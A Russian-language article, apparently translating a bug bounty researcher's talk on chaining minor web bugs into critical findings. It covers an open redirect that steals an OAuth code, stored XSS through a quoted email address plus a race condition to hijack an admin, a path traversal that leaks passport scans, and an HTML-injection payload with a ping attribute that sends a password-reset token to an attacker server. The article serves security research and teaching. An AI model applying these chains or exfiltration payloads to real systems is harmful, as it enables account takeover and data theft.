
Вы нашли open redirect, отправили отчет и получили в ответ: «Информационный, выплата не положена». Знакомая ситуация? С ней сталкивался каждый, кто пробовал себя в багбаунти.
О своих находках и о том, как выжать из них максимум, в подкасте рассказал Мухамед Дахер aka m0m0x01d — багхантер и один из топовых исследователей Standoff Bug Bounty. А мы перевели его выступление и делимся им с вами.
Внутри — четыре реальных кейса от Мухамеда. Каждая история — пример того, как незначительную уязвимость можно раскрутить до критического импакта: захвата аккаунта, доступа к панели администратора или утечки.
Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Ее цель — исключительно образовательная: рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите. Автор не несет ответственности за неправомерное использование опубликованной информации.
Многие багхантеры находят низкоуровневую уязвимость и сразу отправляют отчет, а в ответ получают отказ или минимальную выплату. Это неприятно, потому что вы уже проделали самую сложную часть работы — нашли баг. А теперь еще нужно доказать, что он заслуживает хорошего вознаграждения.
В багбаунти платят за доказанный импакт, а не за теоретическое «я мог бы сделать это». Поэтому если прислать одиночный low-баг, репорт с высокой вероятностью закроют без выплат. За open redirect или отсутствие HTTP-заголовков безопасности сегодня почти никто не платит. В основном такие отчеты отправляют пентестеры, а не охотники за уязвимостями.
Нужно сменить подход: перестаньте искать баги и начните искать точки опоры для дальнейшей атаки. Каждая находка — это примитив. Спросите себя, что он позволяет сделать дальше. Я представляю багхантинг как карту, где любая найденная low-уязвимость — это подсказка, которая приближает вас к главной цели.
Примитивы вместо одиночных багов
Цепочка уязвимостей как конструктор: вы объединяете примитивы до тех пор, пока последствия их эксплуатации будет невозможно отрицать. Когда финальная цепочка собрана и импакт подтвержден, у триажеров не останется вопросов, потому что вы покажете им полную атаку, а не абстрактную теорию.
Чтобы выстраивать цепочки, нужна дисциплина, а не везение. Ведите список примитивов и никогда не выбрасывайте ненужное. Я всегда записываю все находки, даже если они кажутся бесполезными, вплоть до простой информации об объекте исследования. Через месяц мне может понадобиться open redirect — я просто открываю свои заметки и нахожу его. Смена фокуса тоже помогает: переключаясь на другую цель, вы изучаете новые баги и набираетесь опыта, а возвращаясь к прежней цели, часто видите то, чего раньше не замечали.

Когда вы изучаете приложение, полезно составить карту границ доверия и машины состояний. На каждом этапе задавайте себе вопрос: что это открывает? И пересматривайте свои выводы при появлении нового примитива.
Помните, что в отчете сначала нужно указывать конечный результат — самое ценное с точки зрения импакта. Если у вас длинная цепочка, не нужно расписывать всю ее в заголовке. На платформах багбаунти отчеты сортируются по критичности — перегруженный заголовок могут пропустить или отложить. Поэтому начните просто «Захват аккаунта на...», а всю хронологию атаки раскройте в описании.
Теперь перейдем к практике и разберем несколько реальных цепочек. Для каждой я собрал уязвимый сервер ChainLab, где воспроизвел найденные баги. Из инструментов понадобятся Burp Suite и сервер взаимодействия: Burp Collaborator или interactSH, а для писем — MailHog. Первая цепочка будет самой простой, но с нее стоит начать, чтобы стало понятно, куда мы вообще движемся.
Кейс № 1. Open redirect, который крадет OAuth-токен
У меня есть открытое перенаправление при аутентификации в системе с открытым входом. Обычный SSO-вход выглядит так: экземпляр Keycloak, имя realm, идентификатор клиента, URI перенаправления и тип ответа. Изменив redirect_uri, я увидел, что сервер перенаправил меня на мой сервер, — классический open redirect без какой-либо защиты.

Сама по себе это мелкая информационная уязвимость, за которую никто не платит, но здесь есть важный контекст: это экземпляр Keycloak, и пользователи аутентифицируются через OAuth-код, который передается в URL. Значит, open redirect открывает доступ к этому коду.

Логика атаки простая: жертва открывает подготовленную ссылку и успешно аутентифицируется через легитимный Keycloak. Сервер перенаправляет ее на мой адрес вместе с OAuth-кодом, и я получаю код и состояние сессии на свой сервер. После этого отправляю код на сервер и аутентифицируюсь под именем жертвы. Это самая базовая цепочка, которая приводит к захвату учетной записи. Но при всей простоте многие багхантеры даже не пытаются ее искать. Ошибка прямо перед глазами, а они отправляют отчет об открытом перенаправлении и получают низкую оценку.

Пару дней назад у меня была длинная цепочка с критическим исходом. Но ее не приняли, потому что ранее кто-то уже сообщил о незначительной ошибке в начале моей цепочки, получив за это всего пять-десять долларов. Мне кажется, он сделал это из любви к процессу, но на деле оно не стоило потраченного времени.
Результат первой цепочки: открытое перенаправление, отсутствие проверки, кража кода и захват учетной записи.
Кейс № 2. RFC-инъекция, гонка состояний и внутренняя панель администратора
Эта цепочка получилась одной из самых сложных в моей практике, потому что для достижения результата потребовалось объединить множество различных багов. Началось все с обычной регистрации на форуме.
Инъекция в email по стандарту RFC
После регистрации войти в приложение нельзя, пока не подтвердишь адрес электронной почты. Но если вы допустили ошибку при вводе, появляется окно с предложением изменить адрес или подтвердить текущий. Я увидел кнопку «Подтвердить email» и решил попробовать вставить в адрес XSS-нагрузку.
XSS в адресе электронной почты работает, если поместить ее внутри кавычек. Система считает такой адрес допустимым и принимает его как валидный, потому что так устроен стандарт RFC. Это не уязвимость, а полезное знание, которое большинство багхантеров пропускают. Так я находил SQL-инъекции в email, XSS и много других багов.

Я указал настоящий email, нажал «Изменить email» и вставил пейлоад, но теперь нужно было подтвердить этот фейковый адрес. Приложение приняло email, но для входа все еще нужно было его верифицировать.
Состояние гонки и self-XSS
Проще всего было использовать состояние гонки — это когда вы очень быстро отправляете на сервер несколько запросов одновременно. Сервер не успевает понять, что происходит, и подтверждает все сразу. У меня был старый email, ссылка для подтверждения и возможность отправить новый email. Что будет, если одновременно с отправкой нового email нажать на ссылку подтверждения? Я так и сделал. В результате поддельный адрес подтвердился, и нагрузка сработала.
На этом этапе я получил self-XSS, а в программах багбаунти он обычно не имеет большого импакта. Такие атаки чаще всего не принимают.
Как заставить администратора открыть нагрузку
Приложение, с которым я работал, — это форум. Нужно было сделать так, чтобы кто-то увидел мой адрес электронной почты. А поскольку это приватная информация, сделать это может только админ.
Я создал на форуме новую тему и сам же отправил на нее жалобу, отметив галочками все возможные нарушения, чтобы тикет гарантированно оказался в топе панели администратора. Расчет оказался верным — XSS-нагрузка сработала. Но это произошло во внутренней панели, которая доступна только из локальной сети. Даже имея куки, я бы не смог попасть туда снаружи.
Кража DOM и имперсонация
При слепой атаке XSS я всегда добавляю в пейлоад JavaScript, который извлекает все страницы из исходного кода, получает содержимое DOM, а затем отправляет его на мой сервер.

Я открываю полученное DOM-дерево и вижу, что в админ-панели у каждого пользователя есть токен для входа под его учетной записью. Рядом скрытый эндпойнт, который сам не угадаешь: что-то вроде UUID/proxy/login.asp с идентификатором и токеном. Я скопировал ссылку, открыл в режиме инкогнито и перешел по ней, после чего вошел в систему без пароля. Я подумал: теперь у меня есть P1. Значит, нужно повторить все сначала, но вместо идентификатора пользователя заставить JavaScript извлечь идентификатор администратора, который равен 1. Поэтому я указал запрос к /user/1 и повторил цепочку.

Через час я получил уведомление с токеном для входа под администратором. Открыл ссылку и оказался в панели админа приложения, после чего отправил отчет «Вход под любым пользователем без пароля».
В результате получилась атака в один клик или даже совсем без клика. Я превратил незначительную уязвимость в критическую и получил хорошее вознаграждение.

Кейс № 3. Path traversal, который слил миллионы паспортов
Это довольно свежая находка. У меня было приложение, повозившись с которым, я обнаружил обход пути, который дал мне доступ к пользовательскому интерфейсу Swagger. Я быстро все проверил и отправил отчет по path traversal, потому что для меня этого было достаточно, чтобы подтвердить наличие серьезной уязвимости. Как ни странно, программа закрыла его как информационный: мне ответили, что баг не дает доступ к данным, а если бы даже он был, это не критично.
От информационного отчета к доказательству импакта
API, похоже, работает как обратный прокси, обход пути сработал, а внутренний Swagger — это трансформирующая находка, которая указывает на скрытые активы. Теперь нужно доказать импакт. В документации API, которую отдал Swagger, были перечислены внутренние эндпойнты, и один из них вообще не требовал аутентификации: POST /audit-ds/files/duplicates. Для меня это был обычный эндпойнт, и я не надеялся на многое, но все же решил проверить, что он делает, потому что это единственный аутентифицированный эндпойнт, который мне попался.

Оказалось, этот эндпойнт принимает файл, а на стороне компании работает внутренняя система оптического распознавания текста (OCR), которая ищет все похожие файлы в базе данных и возвращает их. Сначала я попробовал отправить аватарку и в ответ получил все фотографии из профилей пользователей. Круто, но не так уж и страшно. Что же делать дальше?
Контекст приложения решает
Я задумался, какие критически важные данные может хранить это приложение. Проверил еще раз и понял, что это торговая площадка, где продавцы обязаны загружать фото паспорта, чтобы пройти верификацию. Вряд ли эти данные удаляют каждый раз после проверки.
Я загуглил и скачал фотографию фейкового паспорта. Загрузил его, и через несколько секунд эндпойнт вернул мне список из десятков тысяч паспортов и каких-то непонятных мне внутренних документов. Теперь у меня есть импакт: массовая утечка персональных данных, причем с помощью только одного загруженного шаблона. Для входа даже не потребовалось авторизоваться.
Напомню, что мой первый отчет по path traversal закрыли как информационный. Затем я отправил второй отчет с той же уязвимостью, но уже с эксплуатацией, которая привела к утечке миллионов документов, — и, конечно, он получил критический статус.

Это отличный кейс. Когда у тебя возникает проблема, ты можешь остановиться, смириться с поражением или продолжать копать, чтобы получить нужный импакт. Важно понимать, что у каждого приложения своя структура и при поиске уязвимости нужно учитывать контекст. Внимание к деталям и нестандартное мышление позволят вам добиваться значительных результатов.
Кейс № 4. HTML-инъекция, которая крадет токен сброса пароля
В последней цепочке рассмотрим базовую инъекцию HTML-кода, которую я расширил, чтобы получить возможность взломать аккаунт в один клик. Это очень старая уязвимость, которую я обнаружил, кажется, в 2018 году. Тогда за нее заплатили около ста долларов, оценив как незначительную, потому что я не очень хорошо написал отчет: недостаточно подробно объяснил детали и последствия. Но я горжусь этой находкой, ведь она была обнаружена в крупной компании, и сегодня за такие уязвимости платят тысячи долларов.
Первый примитив: отражение в письме
Я решил проверить страницу сброса пароля. Ввел свой email, перехватил запрос и увидел параметр redirect_uri. Первым делом попробовал изменить его и вставил случайные данные, чтобы проверить, отразятся ли они в письме. Защита не позволила изменить URI, но сработало добавление HTML-кода в начало URI — он появился в письме.

Я понял, что у меня есть HTML-инъекция, но она не дает никаких преимуществ, кроме разве что фишинга, а он в программах багбаунти не приветствуется. Я подумал, redirect_uri корректно отображается в HTML внутри тега <a> — в лучшем случае это P4, P5, если не больше. Однако я заметил, что в письме для сброса пароля есть токен сброса, а значит, моя цель — получить этот токен.
Загрязнение параметров HTTP
Первый примитив у меня уже есть — это HTML-инъекция. Как добраться от нее до цели? Первое, что я сделал, — использовал загрязнение параметров HTTP. Выглядит это примерно так: https://site.com/reset-password?token=real&token=fake. Когда параметры дублируются, сервер в большинстве случаев считает валидным второй, а первый просто игнорирует.
Чем это выгодно? В письме первый токен будет настоящим, но сервер его проигнорирует. Поэтому когда жертва перейдет по ссылке с поддельным токеном, она увидит сообщение, что токен сброса пароля недействителен. Настоящий токен при этом останется в URL. И вот тут начинается самое интересное: у меня есть настоящий и поддельный токены, но способа извлечь настоящий все еще нет.
Атрибут ping
Тогда я открыл лабораторию PortSwigger и всю документацию по HTML-атрибутам. Я прочитал сотни страниц, чтобы разобраться, потому что подумал, что они могут быть внутри тега <a>. Закрывая тег, я должен использовать какие-то атрибуты, которые мне помогут. После долгих поисков я обнаружил атрибуты ping, которые использовались до появления пикселей. Когда пользователь нажимал на ссылку, браузер отправлял запрос на сервер, чтобы отследить это действие, а сейчас вместо них используются только маленькие пиксельные изображения. Поэтому атрибут ping больше не применяется, хотя раньше был широко распространен.
Вставить его очень просто. Если тег выглядит как <a href="https://site.com/reset-password?token=real&token=fake">, мы закрываем его часть в кавычки и дописываем атрибут ping с нашим сервером. Например: <a href="...?token=real&token=fake" ping="ourserver.com">, где в качестве адресата указан наш Burp Collaborator или другой сервер.

Когда жертва откроет эту ссылку, на наш сервер уйдет ping-запрос, а в заголовке Referrer будет полная ссылка. Жертва при этом увидит только сообщение о недействительном токене сброса, и на этом цепочка завершится.

У меня появилась полная цепочка. Есть UUID и ping-запрос, который извлекает данные, при этом сброс пароля не удается, второй токен недействителен и безвреден, а настоящий остается нетронутым. Ping отправляет полную ссылку, я забираю идентификатор, получаю настоящий токен, отправляю новый запрос и совершаю захват учетной записи.
Ограничения атрибутов ping
Сегодня почти все коммерческие почтовые провайдеры (вроде Gmail и Hotmail) отказались от атрибута ping: если сейчас отправить такое письмо, он будет автоматически удален. При этом на всех кастомных доменах атрибут ping продолжает работать. С корпоративной почтой он срабатывает всегда, и это важно учитывать.

Заключение
Вот что нужно усвоить, если вы занимаетесь поиском уязвимостей:
Никогда не удаляйте низкоуровневые баги. Просто сохраните их как примитивы и фиксируйте где-нибудь, потому что они могут пригодиться позже. Сегодня, если скормить ИИ всю имеющуюся у вас информацию, он, вероятно, сможет найти валидную уязвимость для отчета.
После каждой находки задайтесь вопросом, что она открывает? Например, у меня была ошибка на странице сброса пароля, и она открыла доступ к токену. Я не знал, как именно буду его использовать, но смог получить к нему доступ. Так что просто ставьте перед собой цель и двигайтесь к ней.
Возвращайтесь к уже исследованным целям, когда появляется новый примитив. Вы постоянно учитесь, и через месяц станете более опытным багхантером, чем сегодня. Если вы не нашли уязвимость в приложении, это не значит, что ее там нет. Когда наберетесь опыта, вернитесь к старым приложениям и отчетам.
В отчете сначала указывайте конечный результат. Триажеры оценивают импакт, а не разведку, поэтому заголовок должен быть кратким и убедительным.
Не воспринимайте поиск уязвимостей как чек-лист. Когда я ищу уязвимости, я не ставлю себе задачу найти конкретный тип, например, из списка OWASP Top 10, а люди часто любят раскладывать их по классам. На самом деле все просто: понять область тестирования, исследовать его, найти уязвимость и отправить отчет.
И никакой магии!